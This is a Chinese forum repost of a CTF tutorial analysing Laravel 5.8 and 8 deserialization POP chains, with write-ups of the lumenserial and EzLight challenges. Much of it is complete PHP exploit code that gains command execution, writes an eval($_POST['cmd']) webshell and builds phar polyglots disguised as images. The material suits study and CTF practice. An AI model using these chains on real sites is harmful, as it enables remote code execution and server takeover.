安全矩阵

 找回密码
 立即注册
搜索
查看: 3047|回复: 0

通过几道CTF题学习Laravel框架

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-10 17:59:39 | 显示全部楼层 |阅读模式
通过几道CTF题学习Laravel框架原创 larry 合天网安实验室 昨天

原创稿件征集

邮箱:edu@antvsion.com
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬
简介Laravel是一款比较流行的优秀 PHP 开发框架,通过这个框架来入门大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的,本文分析了Laravel5和Laravel8两个版本的部分利用链,并结合CTF题目来学习Laravel框架
Laravel5.8.x反序列化POP链安装:其中--prefer-dist表示优先下载zip压缩包方式

composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8
在路由文件routes/web.php中添加
  1. Route::get('/foo', function () {
  2.     if(isset($_GET['c'])){
  3.         $code = $_GET['c'];
  4.         unserialize($code);
  5.     }
  6.     else{
  7.         highlight_file(__FILE__);
  8.     }
  9.     return "Test laravel5.8 pop";
  10. });
复制代码
然后在public目录起一个php服务就可以进行测试了cd /public
  1. php -S 0.0.0.0:port
  2. /foo?c=
复制代码
链一链的入口是在
​laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

  1. public function __destruct()
  2. {
  3.         $this->events->dispatch($this->event);
  4.     }
复制代码
这里的$this->events和$this->event可控,
这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来
  1. public function dispatch($command)
  2. {
  3.         if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
  4.             return $this->dispatchToQueue($command);
  5.         }
  6.         return $this->dispatchNow($command);
  7.     }
复制代码
跟踪进commandShouldBeQueued
  1. protected function commandShouldBeQueued($command)
  2. {
  3.         return $command instanceof ShouldQueue;
  4.     }
复制代码
这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口

满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下public function dispatchToQueue($command)
  1. {
  2.         $connection = $command->connection ?? null;

  3.         $queue = call_user_func($this->queueResolver, $connection);
复制代码
这里的$this->queueResolver和$connection都是可控的,到这里就可以直接构造payload
rce
  1. <?php
  2. namespace Illuminate\Broadcasting {
  3.     class PendingBroadcast {
  4.         protected $events;
  5.         protected $event;
  6.         public function __construct($events, $event) {
  7.             $this->events = $events;
  8.             $this->event = $event;
  9.         }
  10.     }
  11.     class BroadcastEvent {
  12.         public $connection;
  13.         public function __construct($connection) {
  14.             $this->connection = $connection;
  15.         }
  16.     }
  17. }
  18. namespace Illuminate\Bus {
  19.     class Dispatcher {
  20.         protected $queueResolver;
  21.         public function __construct($queueResolver){
  22.             $this->queueResolver = $queueResolver;
  23.         }
  24.     }
  25. }
  26. namespace {
  27.     $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
  28.     $b = new Illuminate\Bus\Dispatcher('system');
  29.     $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
  30.     print(urlencode(serialize($a)));
  31. }
复制代码
eval执行
到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的system被ban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php
  1. class EvalLoader implements Loader
  2. {
  3.     public function load(MockDefinition $definition)
  4. {
  5.         if (class_exists($definition->getClassName(), false)) {
  6.             return;
  7.         }

  8.         eval("?>" . $definition->getCode());
  9.     }
  10. }
复制代码
这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return了
$definition变量是MockDefinition类,跟进一下class MockDefinition

  1. {
  2.     protected $config;
  3.     protected $code;
  4.     ...
  5.     public function getClassName()
  6. {
  7.         return $this->config->getName();
  8.     }
  9.     public function getCode()
  10. {
  11.         return $this->code;
  12.     }
  13. }
复制代码
这里$code,$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下

laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php

  1. class MockConfiguration
  2. {
  3.     ...
  4. public function getName()
  5. {
  6.         return $this->name;
  7.     }
  8.     ...
  9. }
复制代码
payload如下
  1. <?php
  2. namespace Illuminate\Broadcasting{
  3.     class PendingBroadcast{
  4.         protected $events;
  5.         protected $event;
  6.         public function __construct($events, $event)
  7. {
  8.             $this->event = $event;
  9.             $this->events = $events;
  10.         }
  11.     }
  12. }
  13. namespace Illuminate\Broadcasting{
  14.     class BroadcastEvent
  15.     {
  16.         public $connection;

  17.         public function __construct($connection)
  18. {
  19.             $this->connection = $connection;
  20.         }
  21.     }
  22. }
  23. namespace Illuminate\Bus{
  24.     class Dispatcher
  25.     {
  26.         protected $queueResolver;

  27.         public function __construct($queueResolver)
  28. {
  29.             $this->queueResolver = $queueResolver;
  30.         }
  31.     }
  32. }
  33. namespace Mockery\Generator{
  34.     class MockDefinition
  35.     {
  36.         protected $config;
  37.         protected $code;

  38.         public function __construct(MockConfiguration $config)
  39. {
  40.             $this->config = $config;
  41.             $this->code = '<?php phpinfo();?>';
  42.         }
  43.     }
  44. }

  45. namespace Mockery\Generator{
  46.     class MockConfiguration
  47.     {
  48.         protected $name = "none class";
  49.     }
  50. }

  51. namespace Mockery\Loader{
  52.     class EvalLoader
  53.     {
  54.         public function load(MockDefinition $definition)
  55.         {

  56.         }
  57.     }
  58. }
  59. namespace {
  60.     $config = new \Mockery\Generator\MockConfiguration();
  61.     $connection = new \Mockery\Generator\MockDefinition($config);
  62.     $event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
  63.     $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
  64.     $events = new \Illuminate\Bus\Dispatcher($queueResolver);
  65.     $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
  66.     echo urlencode(serialize($pendingBroadcast));
  67. }
复制代码
利用跳板
如果说靶机禁用了system等函数,我们希望用file_put_contents写shell等双参数的函数呢,这里有一个好的跳板

laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
  1. final class LazyOption extends Option
  2. {
  3.     ...
  4.     public function filter($callable)
  5. {
  6.         return $this->option()->filter($callable);
  7.     }
  8.     ...
  9. private function option()
  10. {
  11.         if (null === $this->option) {
  12.             /** @var mixed */
  13.             $option = call_user_func_array($this->callback, $this->arguments);
复制代码
这里的$this->callback,$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option的
这里可以直接构造payload
  1. <?php
  2. namespace Illuminate\Broadcasting {
  3.     class PendingBroadcast {
  4.         protected $events;
  5.         protected $event;
  6.         public function __construct($events, $event) {
  7.             $this->events = $events;
  8.             $this->event = $event;
  9.         }
  10.     }
  11.     class BroadcastEvent {
  12.         public $connection;
  13.         public function __construct($connection) {
  14.             $this->connection = $connection;
  15.         }
  16.     }
  17. }
  18. namespace Illuminate\Bus {
  19.     class Dispatcher {
  20.         protected $queueResolver;
  21.         public function __construct($queueResolver){
  22.             $this->queueResolver = $queueResolver;
  23.         }
  24.     }
  25. }
  26. namespace PhpOption{
  27.     final class LazyOption{
  28.         private $callback;
  29.         private $arguments;
  30.         public function __construct($callback, $arguments)
  31. {
  32.             $this->callback = $callback;
  33.             $this->arguments = $arguments;
  34.         }
  35.     }
  36. }
  37. namespace {
  38.     $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
  39.     $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
  40.     $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
  41.     $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
  42.     print(urlencode(serialize($a)));
  43. }
复制代码
链二入口同样是
  1. public function __destruct()
  2. {
  3.         $this->events->dispatch($this->event);
  4.     }
复制代码
这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到

laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php

  1. class Validator implements ValidatorContract
  2. {
  3.     ...
  4. public function __call($method, $parameters)
  5. {
  6.         $rule = Str::snake(substr($method, 8));

  7.         if (isset($this->extensions[$rule])) {
  8.             return $this->callExtension($rule, $parameters);
  9.         }
  10. 这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控
  11. 跟踪进callExtension方法
  12. protected function callExtension($rule, $parameters)
  13. {
  14.         $callback = $this->extensions[$rule];

  15.         if (is_callable($callback)) {
  16.             return call_user_func_array($callback, $parameters);
复制代码
$callback和$parameters可控,于是就可以构造payload了
  1. <?php
  2. namespace Illuminate\Broadcasting{
  3.     class PendingBroadcast{
  4.         protected $events;
  5.         protected $event;

  6.         public function __construct($events, $event)
  7. {
  8.             $this->events = $events;
  9.             $this->event = $event;
  10.         }
  11.     }
  12. }

  13. namespace Illuminate\Validation{
  14.     class Validator{
  15.         protected $extensions;
  16.         public function __construct($extensions)
  17. {
  18.             $this->extensions = $extensions;
  19.         }
  20.     }
  21. }

  22. namespace{
  23.     $b = new Illuminate\Validation\Validator(array(''=>'system'));
  24.     $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');
  25.     echo urlencode(serialize($a));
  26. }
复制代码
这条链在Laravel8里面也是可以用的
利用跳板
和上面一样可以加LazyOption这个跳板
  1. <?php
  2. namespace Illuminate\Broadcasting {
  3.     class PendingBroadcast {
  4.         protected $events;
  5.         protected $event;
  6.         public function __construct($events, $event) {
  7.             $this->events = $events;
  8.             $this->event = $event;
  9.         }
  10.     }
  11. }

  12. namespace Illuminate\Validation {
  13.     class Validator {
  14.         public $extensions;
  15.         public function __construct($extensions){
  16.             $this->extensions = $extensions;
  17.         }
  18.     }
  19. }

  20. namespace PhpOption {
  21.     class LazyOption {
  22.         private $callback;
  23.         private $arguments;
  24.         public function __construct($callback, $arguments) {
  25.             $this->callback = $callback;
  26.             $this->arguments = $arguments;
  27.         }
  28.     }
  29. }

  30. namespace {
  31.     $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
  32.     $b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));
  33.     $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
  34.     print(urlencode(serialize($a)));
  35. }
复制代码
Laravel8反序列化POP链在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类

laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
  1. public function __destruct()
  2. {
  3.         $this->events->dispatch($this->event);
  4.     }
复制代码
这里的$this->events和$this->event可控
同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法
要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了
看到

laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php
  1. public function __call($method, $parameters)
  2. {
  3.         return $this->__invoke()->{$method}(...$parameters);
  4.     }

  5.     /**
  6.      * Resolve the variable.
  7.      *
  8.      * @return mixed
  9.      */
  10.     public function __invoke()
  11. {
  12.         return call_user_func($this->callable);
  13.     }
复制代码
这里的_call会直接调用__invoke,$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下
  1. <?php
  2. namespace Illuminate\Broadcasting {
  3.     class PendingBroadcast {
  4.         protected $events;
  5.         protected $event;
  6.         public function __construct($events, $event) {
  7.             $this->events = $events;
  8.             $this->event = $event;
  9.         }
  10.     }
  11. }
  12. namespace Illuminate\View {
  13.     class InvokableComponentVariable {
  14.         protected $callable;
  15.         public function __construct($callable)
  16. {
  17.         $this->callable = $callable;
  18.     }
  19.     }
  20. }

  21. namespace {
  22.     $b = new Illuminate\View\InvokableComponentVariable('phpinfo');
  23.     $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
  24.     print(urlencode(serialize($a)));
  25. }
复制代码
因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试
CTF题目lumenseriallumenserial\routes\web.php先看到路由文件
  1. $router->get('/server/editor', 'EditorController@main');
  2. $router->post('/server/editor', 'EditorController@main');
复制代码
再看到​
lumenserial\app\Http\Controllers\EditorController.php
  1. class EditorController extends Controller
  2. {
  3. private function download($url)
  4. {
  5. ...
  6.         $content = file_get_contents($url);
复制代码
发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量
  1. class EditorController extends Controller
  2. {
  3.     ...
  4. protected function doCatchimage(Request $request)
  5. {
  6.         $sources = $request->input($this->config['catcherFieldName']);
  7.         $rets = [];

  8.         if ($sources) {
  9.             foreach ($sources as $url) {
  10.                 $rets[] = $this->download($url);
  11.             }
复制代码
我们看到main发现他是通过call_user_func来调用带do开头的方法
  1. class EditorController extends Controller
  2. {
  3.     ...
  4. public function main(Request $request)
  5. {
  6.         $action = $request->query('action');

  7.         try {
  8.             if (is_string($action) && method_exists($this, "do{$action}")) {
  9.                 return call_user_func([$this, "do{$action}"], $request);
  10.             } else {
复制代码
可以通过如下控制变量http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif然后在上面的5.8链的基础加上如下
  1. @unlink("test.phar");
  2. $phar = new \Phar("test.phar");//后缀名必须为phar
  3. $phar->startBuffering();
  4. $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
  5. $phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
  6. $phar->addFromString("test.txt", "test");//添加要压缩的文件
  7. $phar->stopBuffering();
复制代码
上传phar文件再用phar协议打即可

[HMBCTF 2021]EzLight给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息
先看到source\source\app\Http\Controllers\Admin\NEditorController.php
  1. public function catchImage(Request $request)
  2. {
  3.     ...
  4.     $files = array_unique((array) $request->post('file'));
  5.         $urls = [];
  6.         foreach ($files as $v) {
  7.             $image = $this->fetchImageFile($v);
复制代码
在catchImage函数里面以post传给file参数再给到fetchImageFile的$url
  1. protected function fetchImageFile($url)
  2. {
  3.     if (isWebp($data)) {
  4.                 $image = Image::make(imagecreatefromwebp($url));
  5.                 $extension = 'webp';
  6.             } else {
  7.                 $image = Image::make($data);
  8.             }
复制代码
这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了
然后一直跟进就可以发现有个file_get_contents函数

  1. <?php
  2. namespace Illuminate\Broadcasting {
  3.     class PendingBroadcast {
  4.         protected $events;
  5.         protected $event;
  6.         public function __construct($events, $event) {
  7.             $this->events = $events;
  8.             $this->event = $event;
  9.         }
  10.     }
  11.     class BroadcastEvent {
  12.         public $connection;
  13.         public function __construct($connection) {
  14.             $this->connection = $connection;
  15.         }
  16.     }
  17. }
  18. namespace Illuminate\Bus {
  19.     class Dispatcher {
  20.         protected $queueResolver;
  21.         public function __construct($queueResolver){
  22.             $this->queueResolver = $queueResolver;
  23.         }
  24.     }
  25. }
  26. namespace PhpOption{
  27.     final class LazyOption{
  28.         private $callback;
  29.         private $arguments;
  30.         public function __construct($callback, $arguments)
  31. {
  32.             $this->callback = $callback;
  33.             $this->arguments = $arguments;
  34.         }
  35.     }
  36. }
  37. namespace {
  38.     $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);
  39.     $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
  40.     $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
  41.     $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
  42.     print(urlencode(serialize($a)));

  43.     @unlink("test.phar");
  44.     $phar = new \Phar("test.phar");//后缀名必须为phar
  45.     $phar->startBuffering();
  46.     $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
  47.     $phar->setMetadata($a);//将自定义的meta-data存入manifest
  48.     $phar->addFromString("test.txt", "test");//添加要压缩的文件
  49.     $phar->stopBuffering();
  50.     rename('test.phar','test.jpg');
  51. }
复制代码

至此结束,这里可以phar反序列化了
用上面的链一即可
上传之后,在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImage用file传参打就可以了
参考链接https://laravelacademy.org/books/laravel-docs-5_7
https://xz.aliyun.com/t/5911
https://www.anquanke.com/post/id/189718#h2-9
https://www.anquanke.com/post/id/231079
实操推荐PHP反序列化漏洞:(复制链接体验)
https://www.hetianlab.com/expc.d ... =weixin-wemedia#stu




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:45 , Processed in 0.016378 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表